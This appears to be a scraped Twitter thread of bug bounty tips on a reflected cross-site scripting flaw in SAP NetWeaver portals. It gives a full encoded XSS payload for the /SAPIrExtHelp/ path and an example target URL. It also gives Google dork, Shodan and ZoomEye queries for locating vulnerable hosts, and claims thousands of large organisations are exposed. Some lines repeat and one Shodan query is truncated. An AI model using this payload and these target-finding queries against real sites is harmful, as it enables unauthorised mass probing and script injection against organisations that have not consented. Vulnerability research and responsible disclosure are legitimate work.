Find an easy #XSS that found all-over the internet.
Dork: inurl:"/irj/portal/" > visit the target, remove "/irj/portal/" from the url & add the payload in 2nd tweet. There are thousands of huge orgs with this #XSS, I reported > 150. Thank me later.#BugBountyTips #infosec
Dork: inurl:"/irj/portal/" > visit the target, remove "/irj/portal/" from the url & add the payload in 2nd tweet. There are thousands of huge orgs with this #XSS, I reported > 150. Thank me later.#BugBountyTips #infosec
/SAPIrExtHelp/random/"><SVG ONLOAD%3d%26%2397%26%23108%26%23101%26%23114%26%23116(%26%23x64%26%23x6f%26%23x63%26%23x75%26%23x6d%26%23x65%26%23x6e%26%23x74%26%23x2e%26%23x64%26%23x6f%26%23x6d%26%23x61%26%23x69%26%23x6e)>.asp
#SAP
#SAP
Eg: http://target[.]com/SAPIrExtHelp/random/"><SVG ONLOAD%3d%26%2397%26%23108%26%23101%26%23114%26%23116(%26%23x64%26%23x6f%26%23x63%26%23x75%26%23x6d%26%23x65%26%23x6e%26%23x74%26%23x2e%26%23x64%26%23x6f%26%23x6d%26%23x61%26%23x69%26%23x6e)>.asp if vulnerable boom =>XSS.
Shodan: "http.favicon.hash:-266008933" or "
Zoom-eye: "+app:"SAP NetWeaver Application Server httpd"
Zoom-eye: "+app:"SAP NetWeaver Application Server httpd"
All credits to @MrTuxracer who found this CVE. 👏👏👏👏
• • •
Missing some Tweet in this thread? You can try to
force a refresh
